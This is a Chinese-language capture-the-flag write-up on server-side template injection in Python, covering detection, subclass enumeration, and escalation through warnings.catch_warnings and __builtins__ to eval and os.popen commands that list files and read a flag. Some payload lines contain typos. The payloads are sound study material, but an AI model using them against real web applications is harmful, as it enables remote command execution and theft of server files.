一.检测是否存在SSTI漏洞
在url中拼接一下代码看是否返回值,如下
http://url/{{7*7}} --返回49说明存在漏洞
http://url/{{7*'7'}} --返回49说明是php的模板注入
--返回77777说明是python模板注入
例如上述代码,若环境存在SSTI漏洞则,会显示7*7的结果:49
二.初始探测获取子类
拼接代码
{{[].__class__.__base__.__subclasses__()}}
代码解释
[] --创建一个空列表
.__class__ --获取他前面的数据类型,(如前面是[],就获取为list)
.__base__ --获取前面的上一级类型,(现在就会获取为对象)
.__subclasses__() --获取前面对象的所以子类
{``{[].__class__.__base__.__subclasses__()}}
这条语句最终会列出 Python 中所有直接直接继承自最顶层 "对象(object)" 的类,可以理解为 "所有基础类型的'兄弟姐妹'名单"。
三.寻找可利用的类
常见可利用类如下
warnings.catch_warnings
subprocess.Popen
os._wrap_close
如这题的可得到的是
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}

这边虽然显示在61但是计算机是从0开始,而且最前面的是一个类里有两个type所以这个warning的位置是在59,输入59确认一下。

利用它:
{{[].__class__.__base__.__subclasses__()[59].__init__.func_globals.keys()}}
构造原理:
[59] --选择第59个子类(通常是warnings.catch_warnings)
.__init__ --获取该类的初始化方法
.func_globals --获取该类函数的构造方法等(python版本为2)
.__globals__ python版本3
.keys() --通过构造函数列出所有全局变量名,函数(找是否存在__builtins__)

四.使用这个内置变量__builtins__
{{[].__class__.__base__.__subclasses__.__init__.func_globals['__builtins__']}}

找到这个eval(命令执行需要)
五.使用eval
[].__class__.__base__.__subclasses__()[59].__init__.func_globals['__builtins__']['eval']('__import__("os").popen("ls").read()')
出现可疑文件,接下去打开文件
六.打开文件
{{[].__class__.base__.__subclasses__()[59].__init__.func_globals['__builtins__']['eval']('__import__("os").popen("cat fl4g").read()')}}

总结:
Python 沙箱逃逸的核心目标是:
-
获取
eval
/exec
→ 执行任意代码。通过__builtins__显示去判断 -
获取
os
/subprocess
→ 直接执行系统命令。 -
获取
open
/file
→ 读取敏感文件(如/flag
)。 -
获取
__import__
→ 动态导入危险模块。
我们这边使用eval模块去导入os模块进行渗透